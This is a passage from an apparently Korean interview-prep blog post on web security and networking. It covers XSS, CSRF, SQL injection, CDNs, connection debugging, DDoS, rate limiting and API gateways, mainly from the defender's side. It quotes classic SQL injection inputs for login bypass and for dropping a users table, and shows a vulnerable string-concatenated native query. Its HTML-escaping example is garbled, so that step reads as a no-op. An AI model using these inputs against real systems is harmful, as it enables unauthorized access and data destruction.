XSS(Cross-Site Scripting)는 공격자가 웹 페이지에 악성 JavaScript를 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다. 쿠키(세션ID) 탈취, 피싱 화면 표시, 키로거 설치 등이 가능합니다.
Stored XSS는 게시판 등에 스크립트를 저장하여 조회하는 모든 사용자에게 영향을 주고, Reflected XSS는 URL 파라미터에 스크립트를 넣어 피해자에게 전송하는 방식입니다.
방어는 네 가지입니다. 첫째, 출력 시 HTML 이스케이프로 <script>를 <script>로 변환합니다. Thymeleaf의 th:text는 이를 자동 처리합니다. 둘째, CSP(Content-Security-Policy) 헤더로 허용된 출처의 스크립트만 실행합니다. 셋째, HttpOnly 쿠키로 JavaScript의 쿠키 접근을 차단합니다. 넷째, 입력값 새니타이징으로 HTML 태그를 제거합니다.
Q7. CSRF 공격과 방어를 설명해주세요. REST API에서도 필요한가요?
CSRF(Cross-Site Request Forgery)는 피해자가 로그인된 상태에서 공격자의 페이지를 방문하면, 브라우저가 쿠키를 자동 전송하는 특성을 이용해 피해자의 권한으로 의도하지 않은 요청을 보내는 공격입니다.
방어는 CSRF 토큰(폼에 서버가 발행한 랜덤 토큰을 포함, 공격자는 이 토큰을 모름)과 SameSite 쿠키(다른 사이트에서의 요청에 쿠키를 보내지 않음)가 핵심입니다.
REST API에서 JWT를 Authorization 헤더로 전송하면 CSRF에 면역입니다. 쿠키는 브라우저가 자동 전송하지만, Authorization 헤더는 JavaScript로 명시적으로 설정해야 하므로 공격자가 이를 조작할 수 없습니다. 그래서 Spring Security에서 REST API 경로의 CSRF를 비활성화하는 것이 일반적입니다.
Q8. SQL Injection이 무엇이고, JPA를 쓰면 안전한가요?
SQL Injection은 사용자 입력이 SQL 쿼리에 그대로 삽입되어 공격자가 임의의 SQL을 실행하는 공격입니다. ' OR '1'='1' --로 인증 우회, '; DROP TABLE users; --로 테이블 삭제 등이 가능합니다.
Prepared Statement(파라미터 바인딩)가 가장 확실한 방어입니다. 값이 SQL 구문이 아닌 데이터로만 처리되므로 주입이 불가능합니다.
JPA/Hibernate의 JPQL 파라미터 바인딩(@Query("... WHERE u.name = :name"))은 내부적으로 Prepared Statement를 사용하므로 안전합니다. 하지만 네이티브 쿼리에서 문자열 결합을 하면(nativeQuery = true에서 "... WHERE name = '" + input + "'") 여전히 취약합니다. 또한 Specification이나 Criteria API로 동적 쿼리를 만들 때도 파라미터 바인딩을 사용해야 합니다.
Q9. CDN은 어떻게 사용자와 가까운 서버에서 응답을 주나요?
두 가지 기술을 사용합니다. GeoDNS는 DNS 조회 시 클라이언트의 IP 위치를 기반으로 가장 가까운 Edge 서버의 IP를 응답합니다. 한국에서 조회하면 서울 Edge IP를, 일본에서 조회하면 도쿄 Edge IP를 반환합니다.
Anycast는 전 세계 여러 Edge 서버가 같은 IP 주소를 가지고, BGP 라우팅이 네트워크 토폴로지 상 가장 가까운 서버로 패킷을 전달합니다. Cloudflare 등이 이 방식을 사용합니다.
Edge 서버에 캐시가 있으면 즉시 응답(Cache HIT)하고, 없으면 Origin 서버에서 가져와 캐시한 후 응답합니다. 캐시 무효화는 TTL 만료, 파일명 버저닝(해시 기반), 수동 Purge API로 처리합니다.
Q10. 서버에 접속이 안 될 때 어떻게 디버깅하시나요?
단계적으로 접근합니다.
첫째, ping으로 네트워크 도달 가능성을 확인합니다. 응답이 없으면 네트워크 단절이나 방화벽 차단입니다.
둘째, traceroute로 어느 홉에서 지연이나 차단이 발생하는지 추적합니다.
셋째, nslookup이나 dig로 DNS 해석이 정상인지 확인합니다. 도메인이 IP로 변환되지 않으면 DNS 설정 문제입니다.
넷째, curl -v로 TCP 연결, TLS 핸드셰이크, HTTP 응답 각 단계를 확인합니다. 여기서 “Connection refused”면 서버 포트가 열리지 않은 것이고, TLS 에러면 인증서 문제입니다.
다섯째, 서버에 접속할 수 있다면 ss -tlnp로 애플리케이션이 해당 포트에서 리스닝하고 있는지 확인하고, 애플리케이션 로그를 확인합니다.
Q11. DDoS 공격의 유형과 방어 전략을 설명해주세요.
DDoS는 다수의 좀비 PC(봇넷)에서 동시에 대량의 트래픽을 보내 서비스를 마비시키는 공격입니다. 계층별로 나누면, L3/L4 공격은 SYN Flood, UDP Flood, DNS Amplification 등으로 네트워크 대역폭을 소진시키고, L7 공격은 HTTP Flood, Slowloris 등으로 정상 요청처럼 보이면서 서버 리소스(CPU, 커넥션 풀, 스레드 풀)를 고갈시킵니다.
방어는 계층적으로 접근합니다. L3/L4는 CDN/Anycast(Cloudflare 등)로 전 세계 Edge에서 트래픽을 흡수하고, SYN Cookie로 SYN Flood에 대응합니다. L7은 WAF로 비정상 패턴을 탐지하고, Rate Limiting으로 IP/사용자별 요청 수를 제한합니다. AWS 환경에서는 Shield Standard(무료, L3/L4)와 WAF(L7 규칙)를 조합합니다. Slowloris는 Nginx의 client_header_timeout을 짧게 설정하여 대응합니다.
Q12. Rate Limiting은 어떻게 구현하나요? Token Bucket 알고리즘을 설명해주세요.
Rate Limiting은 특정 시간 동안 허용되는 요청 수를 제한하는 기법입니다. 가장 널리 사용되는 Token Bucket 알고리즘은, 버킷에 일정 속도로 토큰이 추가되고 요청 시 토큰을 소비하는 방식입니다. 토큰이 남아있으면 즉시 처리하고, 없으면 429 Too Many Requests를 반환합니다. 버킷 용량만큼 순간 버스트를 허용하면서 평균 속도를 제한할 수 있어 유연합니다.
분산 서버 환경에서는 Redis 같은 중앙 저장소에서 카운터를 공유해야 합니다. 로컬 카운터만 쓰면 서버 3대에서 각각 100 req/s를 허용하여 총 300 req/s가 되어버립니다.
적용 위치는 인프라(Nginx limit_req), API Gateway(사용자/API키별), 애플리케이션(비즈니스 로직 제한) 3곳이며, 공격 방어는 인프라에서, 유료 플랜별 차등은 Gateway에서, 비즈니스 규칙은 애플리케이션에서 처리하는 것이 일반적입니다.
Q13. API Gateway의 역할은 무엇이고, MSA에서 왜 필요한가요?
API Gateway는 MSA에서 모든 외부 요청의 단일 진입점입니다. 클라이언트가 각 마이크로서비스의 주소를 직접 알 필요 없이, Gateway가 요청 경로에 따라 적절한 서비스로 라우팅합니다.
핵심 기능은 다섯 가지입니다. 첫째, 인증/인가를 Gateway에서 1회 수행하여 각 서비스의 중복 인증 로직을 제거합니다. 둘째, Rate Limiting으로 API 남용을 방지합니다. 셋째, 로드 밸런싱으로 같은 서비스의 여러 인스턴스에 분산합니다. 넷째, Circuit Breaker로 하위 서비스 장애 시 빠른 실패를 반환하여 cascading failure를 방지합니다. 다섯째, 프로토콜 변환으로 외부는 REST, 내부는 gRPC로 소통할 수 있게 합니다.
대표 솔루션으로 Spring Cloud Gateway, Kong, AWS API Gateway가 있으며, Spring Cloud Gateway는 WebFlux 기반으로 높은 동시성을 지원합니다.
정리
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌────────────────────────────────────────────────────────────────────────┐
│ 이 글에서 다룬 것 기존 글에서 다룬 것 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ✅ 프록시 (Forward/Reverse) 📌 TCP/IP 기초 글: │
│ ✅ 로드밸런서 (L4/L7, 알고리즘) OSI 7계층, TCP/UDP, │
│ ✅ CDN 3-way/4-way Handshake, │
│ ✅ WebSocket + STOMP 흐름/혼잡 제어, IP, DNS, │
│ ✅ gRPC + Protocol Buffers HTTPS/TLS, HTTP 버전 비교, │
│ ✅ XSS (Stored/Reflected/DOM) 소켓 프로그래밍 │
│ ✅ CSRF │
│ ✅ SQL Injection 📌 HTTP/REST API 글: │
│ ✅ SSRF HTTP 메시지/헤더, 캐싱, │
│ ✅ DDoS 공격과 방어 쿠키/세션/JWT, CORS, │
│ ✅ Rate Limiting REST 설계, SSE │
│ ✅ API Gateway │
│ ✅ 네트워크 장애 진단 │
│ │
│ → 3개 글로 네트워크 면접 완벽 대비 │
└────────────────────────────────────────────────────────────────────────┘